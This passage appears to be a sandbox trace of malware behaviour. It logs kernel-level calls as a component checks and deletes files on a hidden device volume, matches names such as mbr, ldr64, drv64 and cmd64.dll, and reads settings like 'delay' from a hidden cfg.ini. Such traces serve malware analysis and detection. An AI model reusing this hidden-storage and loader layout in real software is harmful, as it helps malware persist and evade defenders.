Tag=0x0) [0117.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.714] KeLeaveCriticalRegion () [0117.714] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.714] ReleaseMutex (hMutex=0xf0) returned 1 [0117.714] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0117.714] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0117.714] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0117.714] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.714] KeEnterCriticalRegion () [0117.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.714] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.714] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.714] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.714] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.714] IdePortDispatch () returned 0x103 [0117.714] KeWaitForMutexObject () returned 0x0 [0117.714] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.714] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.714] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.714] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.714] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.714] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.714] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.714] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.714] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.714] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.714] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.715] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.715] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.715] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.715] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.715] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.715] KeLeaveCriticalRegion () [0117.715] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.715] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0117.715] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.715] KeEnterCriticalRegion () [0117.715] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.715] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.715] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.715] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.715] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.715] IdePortDispatch () returned 0x103 [0117.715] KeWaitForMutexObject () returned 0x0 [0117.715] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.715] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.715] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.715] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.715] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.715] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.715] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.715] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.715] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.715] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.715] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.715] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.715] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.716] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.716] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.716] KeLeaveCriticalRegion () [0117.716] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.716] ReleaseMutex (hMutex=0x100) returned 1 [0117.716] Sleep (dwMilliseconds=0x2bf20) [0117.724] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x695c5f90, dwHighDateTime=0x1d24fa4)) [0117.724] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0117.724] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.724] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.724] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.724] KeEnterCriticalRegion () [0117.724] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.724] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.724] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.724] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.724] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.724] IdePortDispatch () returned 0x103 [0117.724] KeWaitForMutexObject () returned 0x0 [0117.724] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.724] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.724] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.724] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.724] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.724] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6da0 [0117.724] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.724] KeLeaveCriticalRegion () [0117.724] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.725] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.725] KeEnterCriticalRegion () [0117.725] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.725] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.725] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.725] KeLeaveCriticalRegion () [0117.725] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.725] KeEnterCriticalRegion () [0117.725] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.725] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.725] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.725] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.725] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.725] IdePortDispatch () returned 0x103 [0117.725] KeWaitForMutexObject () returned 0x0 [0117.725] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.725] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.725] KeLeaveCriticalRegion () [0117.726] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.726] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.726] KeEnterCriticalRegion () [0117.726] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.726] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cf6000 [0117.726] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.726] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.726] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.726] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.726] IdePortDispatch () returned 0x103 [0117.726] KeWaitForMutexObject () returned 0x0 [0117.726] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.726] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.726] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.726] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.726] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.726] IdePortDispatch () returned 0x103 [0117.726] KeWaitForMutexObject () returned 0x0 [0117.727] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.727] KeLeaveCriticalRegion () [0117.727] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.727] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.727] KeEnterCriticalRegion () [0117.727] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.727] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.727] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.727] KeLeaveCriticalRegion () [0117.727] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.727] KeEnterCriticalRegion () [0117.727] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.727] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.727] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039cf840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.727] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.727] KeLeaveCriticalRegion () [0117.727] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.727] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.728] KeEnterCriticalRegion () [0117.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.728] ExFreePoolWithTag (P=0xfffffa8003aa6da0, Tag=0x0) [0117.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.728] KeLeaveCriticalRegion () [0117.728] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.728] ReleaseMutex (hMutex=0xf0) returned 1 [0117.728] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.728] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.728] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.728] KeEnterCriticalRegion () [0117.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.728] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.728] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.728] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.728] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.728] IdePortDispatch () returned 0x103 [0117.728] KeWaitForMutexObject () returned 0x0 [0117.728] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.728] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.728] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.728] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.728] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.728] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039daa90 [0117.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.728] KeLeaveCriticalRegion () [0117.728] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.729] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.729] KeEnterCriticalRegion () [0117.729] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.729] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.729] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.729] KeLeaveCriticalRegion () [0117.729] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.729] KeEnterCriticalRegion () [0117.729] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.729] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.729] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.729] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.729] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.729] IdePortDispatch () returned 0x103 [0117.729] KeWaitForMutexObject () returned 0x0 [0117.729] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.729] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.729] KeLeaveCriticalRegion () [0117.729] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.729] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.729] KeEnterCriticalRegion () [0117.729] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.729] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cf7000 [0117.729] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.729] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.729] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.729] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.729] IdePortDispatch () returned 0x103 [0117.730] KeWaitForMutexObject () returned 0x0 [0117.730] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.730] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.730] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.730] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.730] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.730] IdePortDispatch () returned 0x103 [0117.730] KeWaitForMutexObject () returned 0x0 [0117.730] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.730] KeLeaveCriticalRegion () [0117.730] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.731] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.731] KeEnterCriticalRegion () [0117.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.731] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.731] KeLeaveCriticalRegion () [0117.731] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.731] KeEnterCriticalRegion () [0117.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.731] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.731] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.731] KeLeaveCriticalRegion () [0117.731] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.731] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.731] KeEnterCriticalRegion () [0117.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.731] ExFreePoolWithTag (P=0xfffffa80039daa90, Tag=0x0) [0117.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.731] KeLeaveCriticalRegion () [0117.731] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.731] ReleaseMutex (hMutex=0xf0) returned 1 [0117.731] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.731] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0117.731] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.731] KeEnterCriticalRegion () [0117.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.731] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.732] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.732] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.732] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.732] IdePortDispatch () returned 0x103 [0117.732] KeWaitForMutexObject () returned 0x0 [0117.732] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.732] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.732] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.732] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.732] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.732] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800381bf60 [0117.732] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.732] KeLeaveCriticalRegion () [0117.732] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.732] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.732] KeEnterCriticalRegion () [0117.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.732] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.732] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.732] KeLeaveCriticalRegion () [0117.732] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.732] KeEnterCriticalRegion () [0117.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.732] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.732] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.732] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.732] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.732] IdePortDispatch () returned 0x103 [0117.733] KeWaitForMutexObject () returned 0x0 [0117.733] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.733] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.733] KeLeaveCriticalRegion () [0117.733] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.733] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.733] KeEnterCriticalRegion () [0117.733] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.733] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cf8000 [0117.733] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.733] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, 